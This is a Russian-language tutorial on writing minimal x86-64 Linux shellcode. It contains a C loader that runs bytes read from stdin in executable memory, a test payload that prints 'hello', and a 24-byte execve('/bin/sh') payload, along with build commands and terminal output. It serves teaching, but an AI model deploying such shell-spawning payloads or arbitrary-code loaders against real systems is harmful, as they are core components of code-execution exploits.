Содержание

Как написать простой shellcode

Цель:

  • Написать на языке assembler программу, которая запускает shell оболочку.
  • Написать на языке c программу, которая читает shellcode из входного потока и выполняет этот код.

С помощью mmap подготовим область памяти, в которую будет записан исполняемый код:

void *exec_mem = mmap(NULL, code_size,
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
    perror("mmap");
    return 1;
}

Преобразуем указатель на память к указателю на функцию и выполним эту функцию.
В момент запуска фкнции управление будет передано шел-коду.

int (*func)() = (int (*)())exec_mem;
    func();

Тут нет ничего сложного. Самое главное разобраться с функцией mmap и ее аргументами.

Весь код:

#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>

void print_hex_dump(const uint8_t *data, size_t size) {
    printf("Code dump (%zu bytes):\n", size);
    for (size_t i = 0; i < size; i++) {
        printf("%02x ", data[i]);
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");
}

int main() {
    const size_t code_size = 1024;

    void *exec_mem = mmap(NULL, code_size,
                          PROT_READ | PROT_WRITE | PROT_EXEC,
                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (exec_mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    printf("Input shellcode (max %zu bytes):\n", code_size);
    ssize_t bytes_read = read(STDIN_FILENO, exec_mem, code_size);

    if (bytes_read <= 0) {
        perror("read failed");
        munmap(exec_mem, code_size);
        return 1;
    }

    print_hex_dump(exec_mem, bytes_read);

    int (*func)() = (int (*)())exec_mem;
    func();

    munmap(exec_mem, code_size);

    return 0;
}

Сначала напишем базовую программу, которая просто выводит строку hello на экран.
Цель - убедиться, что shellcode:

  • запускается.
  • выполняет свою логику. В данном случае вывод строки на экран.
  • возвращает управление вызывающей программе.
  • не ломает программу.

Программа состоит из:

  • преамбула.
  • сохранение данных на стеке.
  • выполнение системного вызова write.
  • выставление нулевого кода возврата.
  • эпилог.

Код:

section .text

fun1:
    push rbp
    mov rbp, rsp
    pop rbp

    mov rax, 0x00000a6f6c6c6568   ; 'hello'
    push rax

    mov rax, 1          ; sys_write
    mov rdi, 1          ; stdout
    mov rsi, rsp        ; buf
    mov rdx, 6          ; count
    syscall

    mov rax, 0

    mov rsp, rbp
    pop rbp
    ret

Собираем:

nasm -f elf64 -o shellcode.o shellcode.asm
gcc -Wall -Wextra ./main.c -o app

Смотрим во что скомпилировался ассемблерный код:

root@47f7f8988dc6:/shellcode# objdump -d shellcode.o | tail -n +8
   0:	55                   	push   %rbp
   1:	48 89 e5             	mov    %rsp,%rbp
   4:	5d                   	pop    %rbp
   5:	48 b8 68 65 6c 6c 6f 	movabs $0xa6f6c6c6568,%rax
   c:	0a 00 00
   f:	50                   	push   %rax
  10:	b8 01 00 00 00       	mov    $0x1,%eax
  15:	bf 01 00 00 00       	mov    $0x1,%edi
  1a:	48 89 e6             	mov    %rsp,%rsi
  1d:	ba 06 00 00 00       	mov    $0x6,%edx
  22:	0f 05                	syscall
  24:	b8 00 00 00 00       	mov    $0x0,%eax
  29:	48 89 ec             	mov    %rbp,%rsp
  2c:	5d                   	pop    %rbp
  2d:	c3                   	ret

Нам нужен только дизассемблированный машинный код как набор байтов.
Чтобы минимизировать ручные действия используем утилиту xxd для преобразования вывода утилиты objdump в набор байтов.
Проверим, что в выводе присутствуют все байты и нет ничего лишнего:

root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun1 | tail -n +8 | xxd -p -r | xxd
00000000: 5548 89e5 5d48 b868 656c 6c6f 0a00 0050  UH..]H.hello...P
00000010: b801 0000 00bf 0100 0000 4889 e6ba 0600  ..........H.....
00000020: 0000 0f05 b800 0000 0048 89ec 5dc3       .........H..].

Запускаем приложение и передаем ему на вход шел-код:

root@47f7f8988dc6:/shellcode# (objdump -d shellcode.o --no-addresses --disassemble=fun1 | tail -n +8 | xxd -p -r) | ./app
Input shellcode (max 1024 bytes):
Code dump (46 bytes):
55 48 89 e5 5d 48 b8 68 65 6c 6c 6f 0a 00 00 50
b8 01 00 00 00 bf 01 00 00 00 48 89 e6 ba 06 00
00 00 0f 05 b8 00 00 00 00 48 89 ec 5d c3
hello

Видим, что на экране отобразилась надпись hello, значит все сделано правильно.

В случае ошибок в ассемблерном коде чаще всего возникает Segmentation fault.

Теперь нужно запустить оболочку shell из ассемблерного кода.
Для этого будем использовать системный вызов execve.
В качестве параметра нужно будет указать полный путь до шела, например /bin/sh.

По аналогии строку будем размещать на стеке.
Преамбулу, эпилог, выставление кода возврата уберем за ненадобностью.

Полученный код:

section .text

fun2:
    mov rdi, 0x0068732f6e69622f   ; '/bin/sh'
    push rdi

    mov rax, 59        ; sys_execve
    mov rdi, rsp       ; filename
    xor rsi, rsi       ; argv
    xor rdx, rdx       ; envp
    syscall

Проверяем, что компилируется:

root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8
	48 bf 2f 62 69 6e 2f 	movabs $0x68732f6e69622f,%rdi
	73 68 00
	57                   	push   %rdi
	b0 3b                	mov    $0x3b,%al
	48 89 e7             	mov    %rsp,%rdi
	48 31 f6             	xor    %rsi,%rsi
	48 31 d2             	xor    %rdx,%rdx
	0f 05                	syscall

Проверяем корректность машинных инструкций:

root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8 | xxd -p -r | xxd
00000000: 48bf 2f62 696e 2f73 6800 57b0 3b48 89e7  H./bin/sh.W.;H..
00000010: 4831 f648 31d2 0f05                      H1.H1...

Проверяем, что shell запускается.
Выполним команду tty; ps -p $$ и убедимся, что запустилась новая shell оболочка.

root@47f7f8988dc6:/shellcode# tty; ps -p $$
/dev/pts/0
    PID TTY          TIME CMD
      1 pts/0    00:00:02 bash

root@47f7f8988dc6:/shellcode# (objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8 | xxd -p -r; sleep 1; echo 'ps -p $$'; sleep 1) | ./app
Input shellcode (max 1024 bytes):
Code dump (24 bytes):
48 bf 2f 62 69 6e 2f 73 68 00 57 b0 3b 48 89 e7
48 31 f6 48 31 d2 0f 05
not a tty
    PID TTY          TIME CMD
  10729 pts/0    00:00:00 sh

Отлично! Shellcode выполняет свое предназначение.
Получился очень компактным, всего 24 байта. В зависимости от внешних условий код можно легко подкорректировать.

Похожее